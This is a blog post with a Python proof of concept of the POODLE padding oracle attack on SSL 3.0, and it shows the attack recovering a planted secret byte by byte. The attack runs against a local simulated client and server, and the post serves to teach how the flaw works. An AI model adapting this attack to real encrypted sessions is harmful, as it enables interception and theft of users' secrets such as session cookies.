Monday, December 22, 2014

The Padding Oracle in POODLE

This is a code which I wrote sometime back to demonstrate the padding oracle in POODLE vulnerability. Full details of the issue is explained in this original advisory This POODLE Bites: Exploiting The SSL 3.0 Fallback.

Client.encrypt depicts the client side encryption of attacker controlled data including the secret, Server.decrypt depicts the server decryption replying True of False for valid or invalid padding after modification by attacker. Attacker will act as man-in-the-middle
#!/usr/bin/python

import os
import struct
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA

ENCRYPT_KEY = ('0'*64).decode('hex')
SECRET = 'Y0u_Just_Pul1eD_Off_th3_P00DLE'
HMAC_SECRET = ''
BLOCK_SIZE  = 16
HMAC_SIZE   = 20

class Helper:

    @staticmethod
    def lsb(string): return ord(string[-1]) 

    @staticmethod
    def append_padding(string):
        strlen = len(string)
        # find the size of padding needed
        padlen = BLOCK_SIZE-(strlen % BLOCK_SIZE) - 1
        # last byte indicates the size of padding and rest of bytes are random
        return os.urandom(padlen) + chr(padlen)

    @staticmethod
    def remove_padding(string):
        # fetch last byte indicating padding
        padlen = Helper.lsb(string)
        # remove N padding bytes
        return string[:-(padlen+1)]

    @staticmethod
    def compute_mac(string):
        # 20 byte mac
        mac = HMAC.new(HMAC_SECRET, msg=None, digestmod=SHA)
        mac.update(string)
        return mac.digest()

class Client:

    # client secret to retrieve using POODLE 
    secret = SECRET

    @staticmethod
    def encrypt(prefix = "", suffix = ""):
        # attacker controlled prefix and suffix
        client  = prefix + Client.secret + suffix
        # compute mac for client data
        client += Helper.compute_mac(client)
        # padding added after mac calculation
        client += Helper.append_padding(client)
        IV = os.urandom(16)
        # AES encrypt
        aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, IV)
        return IV + aes.encrypt(client)

class Server:

    @staticmethod
    def decrypt(string):
        try:
            IV = string[:BLOCK_SIZE]
            aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, IV)
            # decrypt
            server = aes.decrypt(string[BLOCK_SIZE:])
            # remove padding
            server = Helper.remove_padding(server)
            # fetch plain text
            plain = server[:-HMAC_SIZE]
            # fetch mac 
            mac = server[-HMAC_SIZE:]
            # check if received mac equals computed mac
            if mac == Helper.compute_mac(plain): return True
            else: return False
        except: return False 

class Attacker:

    @staticmethod
    def getsecretsize():
        # set reference length for boundary check
        baselen = len(Client.encrypt())
        for s in range(1, BLOCK_SIZE+1):
            prefix = chr(0x42) * s
            trial  = len(Client.encrypt(prefix))
            # check if the block boundary is crossed
            if trial > baselen: break
        return baselen - BLOCK_SIZE - HMAC_SIZE - s 

    @staticmethod
    def paddingoracle():
        secret = ""
        # find length of secret
        secretlength  = Attacker.getsecretsize()
        # for each unknown byte in secret
        for c in range(1, secretlength+1):
            trial = 0
            # bruteforce until valid padding
            while True:
                # align prefix such that first unknown byte is the last byte of a block
                prefix = chr(0x42) * (BLOCK_SIZE - (c % BLOCK_SIZE))
                # align to block size boundary by padding suffix
                suffix = chr(0x43) * (BLOCK_SIZE - (len(prefix) + secretlength + HMAC_SIZE) % BLOCK_SIZE)
                # intercept and get client request
                clientreq = Client.encrypt(prefix, suffix)
                # remove padding bytes
                clientreq = clientreq[:-BLOCK_SIZE]
                blockindex = c/BLOCK_SIZE
                # fetch the hash block
                hashblock = clientreq[-BLOCK_SIZE:] 
                # block to decrypt
                currblock = clientreq[BLOCK_SIZE*(blockindex+1):BLOCK_SIZE*(blockindex+2)]
                # block previous to decryption block
                prevblock = clientreq[BLOCK_SIZE*blockindex: BLOCK_SIZE*(blockindex+1)]
                # prepare payload
                payload = clientreq + currblock
                trial += 1
                # send modified request to server and check server response
                if Server.decrypt(payload):
                    # on valid padding
                    s = chr(0xf ^ Helper.lsb(prevblock) ^ Helper.lsb(hashblock))
                    secret += s
                    print "Byte[%02d] = %s recovered in %04d tries = %s"%(c,s,trial,secret) 
                    break

        return secret

Calling the Attacker.paddingoracle will retrieve the secret using padding oracle attack.
renorobert@ubuntu:~$ python Poodle.py 
Byte[01] = Y recovered in 0245 tries = Y
Byte[02] = 0 recovered in 0645 tries = Y0
Byte[03] = u recovered in 0029 tries = Y0u
Byte[04] = _ recovered in 0182 tries = Y0u_
Byte[05] = J recovered in 0077 tries = Y0u_J
Byte[06] = u recovered in 0042 tries = Y0u_Ju
Byte[07] = s recovered in 0304 tries = Y0u_Jus
Byte[08] = t recovered in 0302 tries = Y0u_Just
Byte[09] = _ recovered in 0554 tries = Y0u_Just_
Byte[10] = P recovered in 0108 tries = Y0u_Just_P
Byte[11] = u recovered in 0012 tries = Y0u_Just_Pu
Byte[12] = l recovered in 0043 tries = Y0u_Just_Pul
Byte[13] = 1 recovered in 0101 tries = Y0u_Just_Pul1
Byte[14] = e recovered in 0086 tries = Y0u_Just_Pul1e
Byte[15] = D recovered in 0007 tries = Y0u_Just_Pul1eD
Byte[16] = _ recovered in 0376 tries = Y0u_Just_Pul1eD_
Byte[17] = O recovered in 0290 tries = Y0u_Just_Pul1eD_O
Byte[18] = f recovered in 0071 tries = Y0u_Just_Pul1eD_Of
Byte[19] = f recovered in 0238 tries = Y0u_Just_Pul1eD_Off
Byte[20] = _ recovered in 0067 tries = Y0u_Just_Pul1eD_Off_
Byte[21] = t recovered in 0433 tries = Y0u_Just_Pul1eD_Off_t
Byte[22] = h recovered in 0097 tries = Y0u_Just_Pul1eD_Off_th
Byte[23] = 3 recovered in 0216 tries = Y0u_Just_Pul1eD_Off_th3
Byte[24] = _ recovered in 0029 tries = Y0u_Just_Pul1eD_Off_th3_
Byte[25] = P recovered in 0661 tries = Y0u_Just_Pul1eD_Off_th3_P
Byte[26] = 0 recovered in 0917 tries = Y0u_Just_Pul1eD_Off_th3_P0
Byte[27] = 0 recovered in 0067 tries = Y0u_Just_Pul1eD_Off_th3_P00
Byte[28] = D recovered in 0180 tries = Y0u_Just_Pul1eD_Off_th3_P00D
Byte[29] = L recovered in 0018 tries = Y0u_Just_Pul1eD_Off_th3_P00DL
Byte[30] = E recovered in 0127 tries = Y0u_Just_Pul1eD_Off_th3_P00DLE
Y0u_Just_Pul1eD_Off_th3_P00DLE

No comments :

Post a Comment